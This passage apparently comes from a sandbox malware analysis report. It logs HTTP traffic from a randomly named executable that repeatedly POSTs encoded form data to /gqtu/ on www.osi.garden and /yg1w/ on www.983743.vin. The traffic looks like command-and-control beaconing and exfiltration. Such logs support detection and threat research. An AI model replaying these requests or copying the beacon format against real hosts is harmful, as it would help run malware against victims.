Nov 5, 2024 15:35:43.804109097 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:35:43.804120064 CET	57	IN	Data Raw: d0 35 da 27 2e 7b 76 9b 73 e3 90 f7 f1 f5 88 5c 7b ed 11 79 5e a8 1e 2f df c3 fd f8 ed bf 01 00 00 ff ff 0d 0a 41 0d 0a 03 00 6d 3a a6 76 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 5'.{vs\{y^/Am:vm'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49768	68.65.122.222	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:46.339553118 CET	1289	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 6e 56 4b 5a 44 71 35 4c 66 6e 68 30 66 66 44 6e 63 46 44 34 6a 4f 4b 6e 4a 69 67 74 48 56 59 6b 57 4b 77 33 53 56 65 51 47 70 2f 64 65 63 41 74 41 44 4c 68 4f 48 38 36 32 52 4d 72 31 71 63 74 63 68 7a 2f 64 58 4c 42 64 46 61 66 58 76 35 34 46 4b 72 77 4b 31 2b 38 4f 4f 48 61 30 45 6c 54 78 31 35 6a 35 37 70 56 48 74 4c 67 49 35 63 42 43 35 6c 75 4a 39 4e 79 7a 48 78 58 57 7a 35 47 6a 36 59 4f 79 30 51 46 55 54 34 45 75 59 30 72 52 65 6a 38 6d 35 70 6c 78 65 41 64 4d 6b 41 72 44 79 6d 49 4d 6c 74 78 38 59 55 37 6c 42 67 72 5a 47 36 53 58 6f 42 2f 73 4c 50 31 39 69 38 46 68 5a 69 31 47 41 7a 74 6d 51 53 6b 70 66 75 36 57 50 4c 34 69 4e 69 77 4c 30 36 79 77 66 4c 74 59 54 78 62 7a 68 50 4b 4a 46 6a 58 39 47 61 2b 51 54 33 47 77 4b 57 68 2b 78 4b 74 4c 67 57 71 2b 4d 51 74 72 41 6a 73 7a 49 57 50 74 30 6b 74 39 56 6b 53 74 72 6b 63 6f 70 45 61 69 42 72 4c 56 68 55 69 79 69 76 4b 48 79 38 6c 71 6c 70 45 31 73 7a 6d 58 52 67 56 58 61 76 76 72 48 44 4f [TRUNCATED] Data Ascii: Q2_4=S4+B2KVB/E+LJnVKZDq5Lfnh0ffDncFD4jOKnJigtHVYkWKw3SVeQGp/decAtADLhOH862RMr1qctchz/dXLBdFafXv54FKrwK1+8OOHa0ElTx15j57pVHtLgI5cBC5luJ9NyzHxXWz5Gj6YOy0QFUT4EuY0rRej8m5plxeAdMkArDymIMltx8YU7lBgrZG6SXoB/sLP19i8FhZi1GAztmQSkpfu6WPL4iNiwL06ywfLtYTxbzhPKJFjX9Ga+QT3GwKWh+xKtLgWq+MQtrAjszIWPt0kt9VkStrkcopEaiBrLVhUiyivKHy8lqlpE1szmXRgVXavvrHDO+h6WuzXrjW7kRU4UksV659WPcc+t6zx2Qq9niQ+sIJb7JXBSWM9z/y2V6N1yunnO2Um3nDC/mmT8gkx4DhlvnsEmV/VhV+S+u1FYGHAwZDF960IUZrjoFRqGtrhKtPu3d0GV1TfJQ6xr1Cogopwd4mZFNix0oDB5ZKaaQXgfEJ81GDW1AkUNRl0J0lIm91a3S1nbbkca+BL+4AZMBkHgUWBHO6gQG2ZzKVc/ZbHZ8d+8OoVOxYrQUHj/aBXJWhRGEwO/H0rivj3EHZUhePB9zbo1zWwSQ8wfRaCtM+WGMaXGnFEXhncXhk8Y7dpktsHBAAU2rYN20JJQSeesSTKQX0K46T3N9OTt4vLyfArdvwOsqstrdSCIQDKBwE9wDQ91/PMS+RZoboT4QPg/vgXpEw+scer/M6FVF77tn7FxKr/OZ3HWwM
Nov 5, 2024 15:35:46.339608908 CET	6597	OUT	Data Raw: 73 31 67 63 30 65 58 79 57 67 69 51 52 53 6d 73 79 6a 31 50 51 47 52 55 45 59 58 4d 4b 33 50 77 47 4a 67 43 73 59 7a 69 6b 4e 2f 67 30 73 67 72 41 56 4c 41 78 54 79 53 42 59 51 31 76 61 6e 2f 43 6b 36 61 75 53 48 4b 6a 57 52 54 71 56 7a 45 50 78 Data Ascii: s1gc0eXyWgiQRSmsyj1PQGRUEYXMK3PwGJgCsYzikN/g0sgrAVLAxTySBYQ1van/Ck6auSHKjWRTqVzEPx6dYaS9r/7jylOJCAoFQvULkN6GVcoLKv8WmfMSQvyWmgn0c9etI+4+p1NqEPQioG1meMod9iq0KHgmhnKFjTo+sbSivYf66tnDrfZeUefMbJLCNFZA/9HUf5Y3d8uRyTmzUlJ2oYuMF3dnN7tLcXDCadDo5ahD2K9
Nov 5, 2024 15:35:46.535250902 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:35:46 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:35:46.535319090 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
Nov 5, 2024 15:35:46.535367012 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
Nov 5, 2024 15:35:46.535413027 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:35:46.535443068 CET	57	IN	Data Raw: a0 6b b4 4f 5c f6 ec 36 e7 c6 21 ef e3 eb 11 b9 f6 da 23 f2 bc 50 3d 5e be 87 fb f1 db 7f 03 00 00 ff ff 0d 0a 41 0d 0a 03 00 eb ec 35 a0 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: kO\6!#P=^A5m'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49769	68.65.122.222	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:49.057204008 CET	454	OUT	GET /gqtu/?uXP=1HX8&Q2_4=f6Wh19Zbj3f0KGUwZR2TDfnh8ZC1kt4m9SH2+p3LnlYuxzS1qi5wc2xrbNMUplnXpMrttmRXmQTtzIwx74OUI7QZZXrSykXx07R8xuG/LilMEmUkiLjEEHk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.osi.garden User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:35:49.237687111 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Tue, 05 Nov 2024 14:35:49 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 36 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 276D<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Nov 5, 2024 15:35:49.237756968 CET	1289	IN	Data Raw: 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 Data Ascii: 0%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A;
Nov 5, 2024 15:35:49.237807035 CET	1289	IN	Data Raw: 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 Data Ascii: text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0;
Nov 5, 2024 15:35:49.237852097 CET	1289	IN	Data Raw: 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: : 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; }
Nov 5, 2024 15:35:49.237894058 CET	1289	IN	Data Raw: 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f Data Ascii: fRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4
Nov 5, 2024 15:35:49.237937927 CET	1289	IN	Data Raw: 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 39 35 6a 4b 2b 52 67 34 51 42 56 77 4e 6d 6c 65 50 5a 56 6a 54 78 75 6f 32 34 6b 57 4d 72 51 48 67 2f Data Ascii: 7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQ
Nov 5, 2024 15:35:49.237979889 CET	1289	IN	Data Raw: 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 49 2f 64 63 2f 42 36 4e 2f 4d 39 57 73 69 41 44 4f 30 30 41 33 51 55 30 68 6f 68 58 35 52 54 64 65 43 72 73 74 79 54 31 57 70 68 55 52 54 Data Ascii: api44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr27
Nov 5, 2024 15:35:49.238028049 CET	1289	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 73 68 74 6d 6c 20 70 6f 72 74 20 38 30 20 6f 6e 20 54 75 65 73 64 61 79 2c 20 30 35 2d 4e 6f 76 2d 32 30 32 34 20 30 39 3a 33 35 3a 34 39 20 45 53 54 22 3e 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 Data Ascii: document.shtml port 80 on Tuesday, 05-Nov-2024 09:35:49 EST"> WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info">
Nov 5, 2024 15:35:49.238061905 CET	11	IN	Data Raw: 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ml>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49770	45.150.55.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:55.488802910 CET	717	OUT	POST /yg1w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.983743.vin Origin: http://www.983743.vin Referer: http://www.983743.vin/yg1w/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 4d 39 4a 59 32 47 70 75 49 58 59 51 37 53 36 67 32 72 34 58 67 50 56 79 4c 42 36 48 4b 74 6f 39 77 4c 41 4d 78 41 75 48 4c 32 72 66 4e 37 2b 37 33 50 50 72 6a 50 51 46 39 44 42 75 52 75 5a 76 67 42 47 45 4d 78 7a 47 33 46 6c 6a 4c 35 53 6d 32 63 49 2b 6b 65 6c 59 30 52 58 59 35 51 4c 65 6d 49 72 50 71 4f 44 63 79 43 45 36 34 70 44 71 4b 4f 75 38 77 43 43 48 6b 43 73 42 36 69 6a 71 2f 75 42 78 6a 6b 4e 4f 4b 51 75 72 68 33 49 6b 4e 2b 7a 4b 68 55 57 43 4f 35 63 63 4a 51 36 52 51 69 50 42 49 75 71 6f 49 46 2b 6c 62 5a 48 61 45 70 30 53 49 45 44 6b 59 35 73 44 31 47 67 37 6d 41 3d 3d Data Ascii: Q2_4=M9JY2GpuIXYQ7S6g2r4XgPVyLB6HKto9wLAMxAuHL2rfN7+73PPrjPQF9DBuRuZvgBGEMxzG3FljL5Sm2cI+kelY0RXY5QLemIrPqODcyCE64pDqKOu8wCCHkCsB6ijq/uBxjkNOKQurh3IkN+zKhUWCO5ccJQ6RQiPBIuqoIF+lbZHaEp0SIEDkY5sD1Gg7mA==
Nov 5, 2024 15:35:55.808893919 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:35:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49771	45.150.55.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:58.329834938 CET	737	OUT	POST /yg1w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.983743.vin Origin: http://www.983743.vin Referer: http://www.983743.vin/yg1w/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 4d 39 4a 59 32 47 70 75 49 58 59 51 35 79 71 67 31 49 51 58 6c 76 56 39 48 68 36 48 45 39 6f 35 77 4b 38 4d 78 42 71 58 4c 46 44 66 4b 65 36 37 32 4b 76 72 32 50 51 46 31 6a 42 72 63 4f 5a 30 67 47 4f 6d 4d 78 50 47 33 46 42 6a 4c 39 57 6d 32 76 67 39 69 4f 6c 61 67 68 58 65 32 77 4c 65 6d 49 72 50 71 4f 58 79 79 43 63 36 2f 5a 54 71 59 2f 75 2f 36 69 44 31 79 53 73 42 2b 69 6a 75 2f 75 42 44 6a 68 6b 54 4b 54 61 72 68 7a 45 6b 4e 50 7a 4c 71 55 57 45 52 70 64 31 4d 69 66 72 65 52 48 71 44 4a 79 55 47 6c 4f 48 54 76 57 41 5a 62 41 32 4c 58 66 57 63 4a 56 72 33 45 68 67 37 49 72 42 52 6b 57 38 63 4e 78 59 68 4f 68 38 46 6b 79 64 73 39 67 3d Data Ascii: Q2_4=M9JY2GpuIXYQ5yqg1IQXlvV9Hh6HE9o5wK8MxBqXLFDfKe672Kvr2PQF1jBrcOZ0gGOmMxPG3FBjL9Wm2vg9iOlaghXe2wLemIrPqOXyyCc6/ZTqY/u/6iD1ySsB+iju/uBDjhkTKTarhzEkNPzLqUWERpd1MifreRHqDJyUGlOHTvWAZbA2LXfWcJVr3Ehg7IrBRkW8cNxYhOh8Fkyds9g=
Nov 5, 2024 15:35:58.640630007 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:35:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49772	45.150.55.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:01.174194098 CET	2578	OUT	POST /yg1w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.983743.vin Origin: http://www.983743.vin Referer: http://www.983743.vin/yg1w/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 4d 39 4a 59 32 47 70 75 49 58 59 51 35 79 71 67 31 49 51 58 6c 76 56 39 48 68 36 48 45 39 6f 35 77 4b 38 4d 78 42 71 58 4c 44 62 66 4b 73 79 37 33 72 76 72 6b 2f 51 46 2f 44 42 71 63 4f 59 75 67 48 71 69 4d 78 44 57 33 48 4a 6a 45 34 43 6d 30 61 63 39 72 4f 6c 61 69 68 58 66 35 51 4c 4c 6d 49 37 4c 71 4f 48 79 79 43 63 36 2f 62 62 71 50 2b 75 2f 38 69 43 48 6b 43 73 64 36 69 6a 57 2f 75 59 32 6a 68 6f 44 4b 6c 71 72 68 58 6f 6b 4c 74 4c 4c 6e 55 57 47 51 70 64 74 4d 69 6a 4f 65 52 72 6d 44 4e 37 7a 47 6d 75 48 51 72 48 45 4c 4a 77 76 61 52 6a 55 51 64 46 2f 32 33 52 71 6c 5a 72 43 65 46 6e 54 56 4b 67 4a 6e 73 67 33 59 6b 32 2b 77 72 53 46 6e 7a 77 32 4c 4c 63 4c 70 54 74 4c 4f 34 75 58 67 30 66 6d 61 30 77 41 31 73 50 4c 37 35 72 39 2f 67 76 7a 5a 49 33 53 54 2b 49 53 4c 41 53 76 74 59 5a 2f 33 57 57 6b 43 67 5a 4b 57 39 47 78 6f 65 42 43 72 4f 59 79 67 4b 76 47 42 39 41 76 7a 52 38 4b 73 4c 50 33 36 45 79 68 6f 72 69 74 57 73 49 43 67 64 36 5a 2f 38 33 6d 78 77 2b 76 52 49 52 39 7a [TRUNCATED] Data Ascii: 